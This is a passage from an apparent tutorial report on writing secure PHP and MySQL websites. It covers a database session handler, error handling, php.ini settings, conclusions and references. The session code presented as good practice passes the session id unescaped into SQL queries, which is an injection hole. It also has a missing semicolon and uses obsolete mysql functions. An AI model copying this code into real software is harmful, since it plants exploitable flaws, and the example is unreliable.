mysql_select_db( ‘sessions’ );
}
function disconnect(){
mysql_close();
}
function get( $sess_id ){
$sql = “select session_data from sessions where id = ‘$sess_id’”;
if( $result = mysql_query($sql) ) {
$record = mysql_fetch_assoc( $result );
return $record[‘session_data’];
}
return 0;
}
function put($sess_id, $data ){
$timestamp = time();
$data = mysql_escape_string($data);
$sql = “replace into sessions values(‘$sess_id’,‘$timestamp’,‘$data’)”;
mysql_query($sql);
}
function del($sess_id ){
$sql = “delete from sessions where id = ‘$sess_id’”
mysql_query( $sql );
}
function clean( $lifetime ) {
$min_timestamp = time() - $lifetime;
$sql = “delete from sessions where last_access < ‘$min_timestamp’”;
mysql_query($sql);
}

6 Error Handling
When developing applications, there are some general principles that should be followed. One
important principal is called “fail securely”. This means that if an error occurs during execution,
the application should handle this properly. There are several ways of doing this, but the most
important thing is that the user is informed about what has happened. It’s also important to make
sure the application stops execution without being damaged.
PHP provides several methods for handling errors. The first method is the @-operator. If you
use this operator as the first character in a line where an error may occur, the error will be
suppressed by PHP, and the execution will continue. This requires that you do some error
checking manually afterwards.
The following code shows an example using the @-operator:
<?php
@ $value/$count;
if( $count == 0 )
echo “Error Cannot divide by zero.”;
?>

Another feature provided by PHP is the die function. The script below shows how to use this
function:



- 16 -
Creating Secure W
e
bsites in PHP and MYSQL
<?php
$db = mysql_connect( $url, $user, $pass ) or
die(“Error connecting to the database. Without database access this site
cannot be displayed.”);
?>

This function is very convenient and offers a simple way of handling errors your scripts. If the
first part of the condition fails - in this case the function that connects to the database - the die
function displays an error message and stops executing the script.

PHP also provides different settings for how errors are reported. The main directives controlling
this are
error_reporting
,
display_errors
and
log_errors
. They are found in the php.ini
file. When developing your applications, the recommended settings are:
error_reporting = E_ALL

display_errors = On
log_errors = Off
This means that PHP will halt on every type of error including not initialized variables, and
display them in the browser.
It’s important to remember that this setting is not recommended when the application is running.
Because an attacker might use the error reports to discover vulnerabilities and take advantage of
them.
When your application is running, it’s recommended to set display_error to off and enable
log_errors. With this setting, all error will be written to a log file which is not readable through
the browser.
When logging all the errors, it’s important to do some error checking in the script, so that you
can generate some general error messages informing the user about what happened. These
messages should be informative to the user without revealing any technical details.

7 Conclusions
A PHP application runs in the most exposed environment possible, a universally available page
on a web server. This means that the mindset of the developers should always be on coding
applications that can withstand almost ant kind of attack. But this is very seldom the case. Web
site projects are dominated by short development times. Consequently the focus is on making the
application work as intended. This is of course important do deliver a properly functioning
application, but it does nothing to make it secure.

Even though planning and implementing the features described here demands a little more
development time, it will save a lot of time and money in the long run. If you do things right the
first time, you don’t have to spend a lot of recourses trying to fix security holes after they have
been discovered. If you consequently validate all your data with the functions described in this
report, and also take special care when using include statements and file upload functions, your
sites should at least cover the basic security requirements. This should provide enough security
for simple non commercial PHP applications without taking a lot more time.
When creating large scale commercial applications in PHP, it important that security gets a high
priority in the planning process.

PHP is amazingly easy to program in and has more built in features than almost any other
language. However all this convenience comes at a price. All the numerous settings and features
make the language counterintuitive. Even if the developers try to get it right, they can still be let
down by simply having misunderstood some of the intricacies in PHP. This does not mean that

- 17 -
Creating Secure W
e
bsites in PHP and MYSQL
PHP is a bad language. It’s just important to remember that not all vulnerabilities in a PHP
application are the programmers fault.

In this report I have tried to show some of the most common mistakes done by PHP developers,
and different approaches solving these problems. I feel that I have covered the most significant
areas, but there are also subjects I have chosen to exclude in order to limit the size of this report.
After all it’s possible to write entire books on this subject.
If you want to learn more about security in PHP, I suggest that you read the books and articles
listed below.

- 18 -
Creating Secure W
e
bsites in PHP and MYSQL

References
Books:

- PHP4 Bible ( Converse, Park )
- PHP and MySQL Web Developement secon editon( Welling, thomson )
- Secure PHP Developement ( Kabir )
- PHP Cookbook ( sklar, Trachtenberg )
- Php functions Essential Reference ( Grant, Merall, Wilson, Michlitsch )

Papers:
- PHP Security ( O'Reilly Open Source Convention Portland, Oregon USA 26 jul 2004 )
- SPI Labs - Blind SQL injection, are your web applications vulnerable ( Kevin Spett )
- SPI Labs - SQL injection, are your web applications vulnerable ( Kevin Spett )

Web Recources:
- PHP manual ( http://www.php.net/manual/en/ )
- PEAR manual ( http://www.phpfreaks.com/pear_manual )
- PHP security ( John Coggeshall ) ( www.onlamp.com )
- On the security of PHP, part 1 and 2 ( www.developer.com )
- www.devshed.com
- Php Application Security ( wact.soureforge.net )
- PHP and the OWASP Top Ten Security Vulnerabilities ( www.sklar.com )
- A study in scarlet, Exploiting common Vulnerabilites in PHP applications
( Shaun Clowes ) (www.securereality.com )
- Security: MySQL and PHP ( Roopa Rannorey ) www.linuxsecurity.com
- PHP and MySQL Security www.eruditesys.com


- 19 -